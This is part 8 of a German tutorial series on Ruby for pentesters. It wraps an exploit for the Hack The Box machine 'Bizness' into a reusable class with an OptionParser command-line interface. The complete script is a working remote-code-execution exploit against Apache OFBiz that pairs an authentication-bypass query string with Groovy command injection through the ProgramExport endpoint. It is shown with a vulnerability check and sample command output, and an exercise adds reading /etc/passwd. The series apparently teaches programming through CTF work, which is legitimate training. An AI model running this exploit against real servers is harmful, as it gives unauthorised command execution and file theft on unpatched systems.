// Ruby für Pentester · Teil 8
Von Skripten zum Werkzeug
Mehrere Wegwerf-Skripte, die alle denselben HTTP-Client neu aufbauen. Wir falten sie in eine wiederverwendbare Klasse und geben ihr mit OptionParser eine echte Kommandozeilen-Schnittstelle — der Sprung vom Skripten zum Werkzeug.
Jeder Teil bisher öffnete dieselbe Datei erneut und deklarierte dieselbe
get/post-Verrohrung neu. Das ist in Ordnung, solange du eine Box lernst, aber
sobald du es wiederverwenden willst — oder es einem Teamkollegen gibst — willst du
ein Werkzeug, nicht vier Skripte. Dieser Teil ist die objektorientierte
Wende: Wir wickeln den ganzen Client in eine Klasse und setzen eine
ordentliche Kommandozeilen-Schnittstelle davor.
Eine Klasse ist Zustand plus Verhalten
Eine Klasse bündelt Daten (Zustand) mit den Methoden, die auf ihnen wirken.
Unsere hält die Verbindung und stellt ein Verb bereit — ein Kommando run:
class Bizness
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
def initialize(base)
@base = base
uri = URI(base)
@http = Net::HTTP.new(uri.host, uri.port)
@http.use_ssl = uri.scheme == 'https'
@http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
end
initializeläuft einmal, wenn duBizness.new('https://bizness.htb')schreibst. Es ist der Konstruktor.@baseund@httpsind Instanzvariablen — sie gehören zu diesem Objekt und bleiben sein ganzes Leben am Leben, sodass jede Methode sie erreichen kann, ohne die Verbindung erneut übergeben zu bekommen.BYPASSist eine Konstante im Gültigkeitsbereich der Klasse (Bizness::BYPASS) — derselbe Auth-Bypass-String aus Teil 2, jetzt dem Werkzeug gehörend.
Methoden, öffentlich und privat
Das Einzige, was ein Aufrufer tun sollte, ist ein Kommando run. Die
HTTP-Details — get, post — sind Interna, also markieren wir sie privat:
von innerhalb des Objekts aufrufbar, aber nicht von außen.
def run(cmd)
groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
private
def get(path)
@http.request(Net::HTTP::Get.new(URI("#{@base}#{path}").request_uri))
end
def post(path, form)
req = Net::HTTP::Post.new(URI("#{@base}#{path}").request_uri)
req.set_form_data(form)
@http.request(req)
end
Alles unter private ist vor Aufrufern verborgen. run ist derselbe
Groovy-Trick aus Teil 3, aber nun verwendet er das gespeicherte @http des
Objekts wieder, statt bei jedem Aufruf eine Verbindung neu aufzubauen. Die Klasse
kapselt die unordentlichen Teile und reicht der Außenwelt ein einziges sauberes
Verb.
Prüfen, bevor du feuerst
Ein gutes Werkzeug sagt dir, ob ein Ziel überhaupt verwundbar ist, bevor du einen
Payload darauf wirfst. Füge ein zweites öffentliches Verb hinzu — ein Prädikat
(Teil 2’s ?-Konvention), das ein harmloses id ausführt und meldet, ob es
funktioniert hat:
def vulnerable?
run('id').include?('uid=')
rescue StandardError
false
end
Beachte: Hier gibt es kein begin. Ein Methodenkörper ist ein implizites begin,
also kann er direkt rescue-n — ist der Host down oder der Bypass gepatcht, wirft
run, wir fangen es und geben false zurück, statt einen Backtrace auszuspucken.
„Ist dieses Ziel ausnutzbar?” ist jetzt ein ehrlicher Boolean. (Metasploit-Module
haben eine check-Methode, die genau das tut — Teil 8 ist näher, als es aussieht.)
Eine echte Kommandozeile
Ein Werkzeug nimmt Argumente. Rubys Standard-OptionParser verwandelt rohes
ARGV in geparste Flags — mit --help gratis:
options = { target: 'https://bizness.htb' }
OptionParser.new do |opts|
opts.banner = 'Usage: bizness.rb [options] [command]'
opts.on('-t', '--target URL', 'Base URL of the box') { |v| options[:target] = v }
opts.on('-c', '--check', 'Check if the target is vulnerable') { options[:check] = true }
end.parse!
box = Bizness.new(options[:target])
if options[:check]
puts box.vulnerable? ? '[+] vulnerable' : '[-] not vulnerable'
else
command = ARGV.empty? ? 'id' : ARGV.join(' ')
puts box.run(command)
end
opts.on('-t', '--target URL', ...)deklariert ein Flag, das einen Wert nimmt; sein Block feuert mit diesem Wert.'--check'ohne Wert-Argument ist ein boolesches Flag — vorhanden oder nicht —, also setzt sein Block einfachoptions[:check] = true..parse!verbraucht die erkannten Flags an Ort und Stelle ausARGV, sodass, was inARGVübrig bleibt, das positionale Kommando ist —idstandardmäßig.- Du bekommst
-h/--help, generiert aus Banner und Flag-Beschreibungen, ohne Zusatzaufwand.
Jetzt verhält es sich wie ein Werkzeug — erst sondieren, dann bedienen:
$ ruby bizness.rb --check
[+] vulnerable
$ ruby bizness.rb -t https://bizness.htb 'whoami'
ofbiz
Das Werkzeug, vollständig
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'net/http'
require 'uri'
require 'optparse'
class Bizness
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
def initialize(base)
@base = base
uri = URI(base)
@http = Net::HTTP.new(uri.host, uri.port)
@http.use_ssl = uri.scheme == 'https'
@http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
def run(cmd)
groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
def vulnerable?
run('id').include?('uid=')
rescue StandardError
false
end
private
def get(path)
@http.request(Net::HTTP::Get.new(URI("#{@base}#{path}").request_uri))
end
def post(path, form)
req = Net::HTTP::Post.new(URI("#{@base}#{path}").request_uri)
req.set_form_data(form)
@http.request(req)
end
end
options = { target: 'https://bizness.htb' }
OptionParser.new do |opts|
opts.banner = 'Usage: bizness.rb [options] [command]'
opts.on('-t', '--target URL', 'Base URL of the box') { |v| options[:target] = v }
opts.on('-c', '--check', 'Check if the target is vulnerable') { options[:check] = true }
end.parse!
box = Bizness.new(options[:target])
if options[:check]
puts box.vulnerable? ? '[+] vulnerable' : '[-] not vulnerable'
else
command = ARGV.empty? ? 'id' : ARGV.join(' ')
puts box.run(command)
end
Erkenntnisse
- Eine Klasse gruppiert Zustand und Verhalten;
initializeist der Konstruktor und@ivarsbestehen für die Lebensdauer des Objekts, sodass die Verbindung einmal aufgebaut wird. privateverbirgt interne Methoden (get/post), sodass die Klasse eine bewusste Oberfläche freigibt (run,vulnerable?) — das ist Kapselung.- Ein Methodenkörper ist ein implizites
begin, kann also direktrescue-n — der saubere Weg, einen Fehler in einfalsestatt in einen Absturz zu verwandeln. - Konstanten (
BYPASS) im Gültigkeitsbereich einer Klasse reisen mit dem Werkzeug, statt als Globale herumzuschwirren. OptionParserist der Standardweg,ARGVin Flags mit generiertem--helpzu verwandeln;.parse!lässt die positionalen Argumente für dich übrig.
Übungen
- Füge
Biznesseine Methodeloot(path)hinzu, dierun("cat #{path}")zurückgibt, sodassbox.loot('/etc/passwd')eine Datei in einem Aufruf liest. - Füge ein boolesches Flag
--verbosehinzu, das, wenn gesetzt, den ganzen Response-Body statt nur der getroffenen Zeile ausgibt. - Gib der Klasse einen
attr_reader :baseund einto_s, das"Bizness(#{@base})"zurückgibt, sodass einBizness-Objekt etwas Nützliches ausgibt.
Weiter — Teil 9: Ein Werkzeug, das du erneut ausführst, verdient ein Sicherheitsnetz. Wir schreiben Tests dafür mit Rubys eingebautem minitest und lernen, Code zu entwerfen, der testbar ist.